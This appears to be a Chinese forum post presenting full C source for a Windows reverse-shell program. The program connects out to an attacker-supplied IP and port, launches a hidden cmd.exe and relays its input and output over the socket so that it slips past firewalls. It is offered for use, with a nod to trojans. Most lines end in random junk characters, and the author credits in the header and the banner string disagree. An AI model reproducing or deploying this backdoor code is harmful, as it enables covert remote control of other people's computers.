这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4>E2G:
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/* ============================== e](=)h|
Rebound port in Windows NT ,{50zx2
By wind,2006/7 <XagkD
===============================*/ m&%b;%,J
#include uSQ*/h-<)0
#include s?E: ]
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#pragma comment(lib,"wsock32.lib") >?'FH +2K
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void OutputShell(); >D;hT*3
SOCKET sClient; >g2B5KY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >8tuLd*T
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void main(int argc,char **argv) ES2qX]I
{ !tdfTf$
WSADATA stWsaData; ;R!H\
int nRet; `IoX'|C[h
SOCKADDR_IN stSaiClient,stSaiServer; zef,*dQY
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if(argc != 3) Td
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{ _2Z3?/Y
printf("Useage:\n\rRebound DestIP DestPort\n"); ~-GDheA
return; 3$cF)5V f
} c" 7pf
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9-^p23.@[j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 20qVzXi
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stSaiClient.sin_family = AF_INET; [VW;L l
stSaiClient.sin_port = htons(0); N96BWgT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dE]"^O#Mc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FudD
{ ?Q3~n ^
printf("Bind Socket Failed!\n"); $hQg+nY.
return; Snu;5:R
} DV\ei")
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stSaiServer.sin_family = AF_INET; ,9qB}HG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SEIu4
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N0[I2'^.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YMTA`T(+
{ ([-=NT}Aq
printf("Connect Error!");
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return; ha=z<Q
} v`BG1&/|
OutputShell(); lKUm_; m
} %},G(>
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void OutputShell() <\g&%c,
{ :(`>bY
char szBuff[1024]; CJixK>Y^
SECURITY_ATTRIBUTES stSecurityAttributes; ~bTae =FP
OSVERSIONINFO stOsversionInfo; ;x^,t@ xge
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S\5k'ifh
STARTUPINFO stStartupInfo; +[/r^C
char *szShell; NCFV
PROCESS_INFORMATION stProcessInformation; y
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unsigned long lBytesRead; ue"?S6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {7>CA'>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~x"79=!W
stSecurityAttributes.lpSecurityDescriptor = 0; Rl4zTAI
stSecurityAttributes.bInheritHandle = TRUE; c/Yi0Rl)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A9Wqz"[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ('q vYQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YB~t|m65
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j(C
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stStartupInfo.wShowWindow = SW_HIDE; ~<-
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stStartupInfo.hStdInput = hReadPipe; V?59.TJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); m2CWQ[u
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switch(stOsversionInfo.dwPlatformId) ;sR6dT)
{ ?_>^<1I1
case 1: |QOJ9~hxD
szShell = "command.com"; E ' JC
break; ?s)sPM?
default: 1`]IU_) 1B
szShell = "cmd.exe"; L?27q
break; u?;Vxh3@|
} !5%5]9'n@*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }FiN 7#
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send(sClient,szMsg,77,0); :n9xH
while(1) C'czXZtn
{ p_qm}zp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5f'g3'
if(lBytesRead) |8c:+8
{ &^n>ZY,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rk,1am:cg
send(sClient,szBuff,lBytesRead,0); nH>V Da
} uy _i{Y|
else &s^>S?L-
{ rgdQR^!l6
lBytesRead=recv(sClient,szBuff,1024,0); Eu/y">;v#
if(lBytesRead<=0) break; U+PCvl=x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Cz@FZb8
} ,r 2VP\hLh
} V.Ba''E7
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return; Yuo1'gE+
}